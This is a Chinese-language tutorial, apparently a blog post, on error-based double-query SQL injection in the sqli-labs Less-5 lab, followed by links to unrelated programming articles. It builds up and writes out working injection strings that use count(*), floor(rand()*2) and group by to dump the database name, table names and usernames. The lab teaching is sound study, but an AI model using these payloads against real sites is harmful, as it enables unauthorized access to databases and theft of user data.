首先输入id=1和id=1’未报错,均显示You are in.....(如下图所示)

由上图可以看到,如果运行返回结果正确的时候只返回you are in...,不会返回数据库当中的信息了,所以我们不能之前所采用的在less-4之前的方法了。

再输入id=888,可以看到页面如下所示,没有显示位,无法使用联合查询。

接着我们输入id=2’如下图所示,页面出现SQL语句报错,在这里我们就可以使用一种新的注入方式:报错注入

首先在这里我们先对sql语言进行一个理解:

select concat((select database()));

真正执行的时候,先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。这个函数是用来连接的。比如concat(‘a’,’b’)那结果就是ab了。

我们这里以数据库security为例,执行一下,如下图所示,就可以看到数据库是security

然后我们测试一下concat的用法:

输入select concat (“string”,”qaq”);可以看到输出结果就是把引号里面的内容连接起来了。

接下来我们测试rand随机函数是怎么用的,我们多执行几次找规律。

由上图执行结果可以看到,输出的结果都是随机的,且都是0到1之前的小数

接下来取整函数floor()上场了,我们随便输入一个小数取整

由上图可以看到取整数成功!然后我们看看双注入查询中的一个简单组合

因为rand()随机函数输出结果是在0到1之间,那么如果我们要使rand()随机函数输出结果是在0到2之间,那么我们就可以写成rand()*2了,如果我们对 rand()*2函数进行取整的话,那么输出结果一定是0或者1。

来,我们一起来尝试一下

输入select concat((select database()),floor(rand()*2));

再多尝试下

由上图我们可以看到输出结果不是security0就是security1。

接下来我们先查询下security数据库中有哪些表。

我们这里以emails表为例

输入select concat((select database()),floor(rand()*2)) from emails;

这里我在后面加了from emails(表名),那么返回结果是security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录,这里emails表里有8个用户,所以返回了8条。

那么我们在后面添加from information_schema.schemata,就会返回6条结果,因为information_schema.schemata这个表里包含了mysql的所有数据库名,有6个数据库即就返回6条结果(如下图所示)

接下来我们可以加上group by语句了,group by是一个用来分组的语句,当然分组的话我们应该要起个组名对吧?那么如果我想实现把information_schema.schemata表里的security0分到一组,security1分到一组,分为两组起名为hh该怎么做呢?

输入:select concat((select database()), floor(rand()*2))as hh from information_schema.schemata group by hh;

由上图可以看到已经展示出来了一个分组,但是information_schema.schemata里面的表的数目没有一个具体的显示以及一个统计,所以我们应该使用聚合函数count(*)

select count(*),concat((select database()), floor(rand()*2))as hh from information_schema.schemata group by hh;

由上图看到,完全就是一个很好的总结,可以很明显的看到security0有4个,security1有2个。

我们也可以查询数据库的版本

可以查询数据库表的用户

现在我们可以开始注入了

尝试爆数据库名称

输入:

id=1' union select null,count(*),concat((select database()),floor(rand()*2))as hh from information_schema.schemata group by hh --+

多刷新几次

爆数据库下的表名称

首先我们输入id=1' union select null,count(*),concat((select table_name from information_schema.schemata where table_schema='security'),floor(rand()*2))as hh from information_schema.tables group by hh--+来试试

这里显示了输出结果超过一行,那么我们就应该用到limit了,还记得前面的limit怎么用的嘛?忘记了再倒回去看前面的less-1哦

这里我们输入:

id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand()*2))as hh from information_schema.tables group by hh--+

好的,从上面我们可以看到把表users1爆出来了,多刷新几次发现爆出来的表,我们就会发现,爆出来的结果要么是users1要么是users0,这不就达到了我们想要的结果了吗?

下面我们就可以来查询users表下面的字段了

输入id=1' union select null,count(*),concat((select username from users limit 3,1),floor(rand()*2))as hh from information_schema.tables group by hh--+

以上就是我们通过报错注入来实现我们想要的东西~

随机推荐

  1. Java之static作用的深度总结

    1.深度总结 引用一位网友的话,说的非常好,如果别人问你static的作用:如果你说静态修饰 类的属性 和 类的方法 别人认为你是合格的:如果是说 可以构成 静态代码块,那别人认为你还可以: 如果你说 ...

  2. GetComponentsInChildren<Transform>(true)

    GetComponentsInChildren<Transform>(true);//游戏对象下的子物体激活的没激活的都会被拿到,包括游戏对象本身GetComponentsInChildr ...

  3. Unable to resolve service for type 'Microsoft.Extensions.Logging.ILogger' while attempting to activate 'xxxxx.Controllers.xxxxController'.

    Unable to resolve service for type 'Microsoft.Extensions.Logging.ILogger' while attempting to activa ...

  4. 彻底理解Runnable和Thread的区别

    昨天去面试,面试官问了一个问题:Runnable和Thread有什么区别,因为针对这个问题以前有背过,并且网上大多数都是这些结论,所以脱口而出: 1.Thread有单继承的问题: 2.Runnable ...

  5. Python学习之路:函数传递可变参数与不可变参数

    函数传参的方法: 太基础了,8说了 直接上重点 一.可变参数的传递 可变参数有:列表.集合.字典 直接上代码: a = [1, 2] def fun(a): print('传入函数时a的值为:', a ...

  6. 测试代码的练习2——python编程从入门到实践

    11-3 雇员:编写一个名为Employee的类,其方法__init__() 接受名.姓和年薪,并将它们都存储在属性中.编写一个名为give_raise()的方法,它默认将年薪增加5000美元,但也能 ...

  7. Go MongoDB官方数据库驱动之增删改查

    package main import ( "context" "fmt" "log" "go.mongodb.org/mongo ...

  8. MongoDB的安装,mongod和mongo的区别

    一. mongoDB安装路径 安装路径(最新4.0.11):https://www.mongodb.com/download-center/community?jmp=nav 建议另外找路径下载,外网 ...

  9. C#/.NET 中启动进程时所使用的 UseShellExecute 设置为 true 和 false 分别代表什么意思?

    原文:C#/.NET 中启动进程时所使用的 UseShellExecute 设置为 true 和 false 分别代表什么意思? 在 .NET 中创建进程时,可以传入 ProcessStartInfo ...

  10. WPF 很少人知道的科技

    原文:WPF 很少人知道的科技 本文介绍不那么常见的 WPF 相关的知识. 本文内容 在 C# 代码中创建 DataTemplate 多个数据源合并为一个列表显示 使用附加属性做缓存,避免内存泄漏 使 ...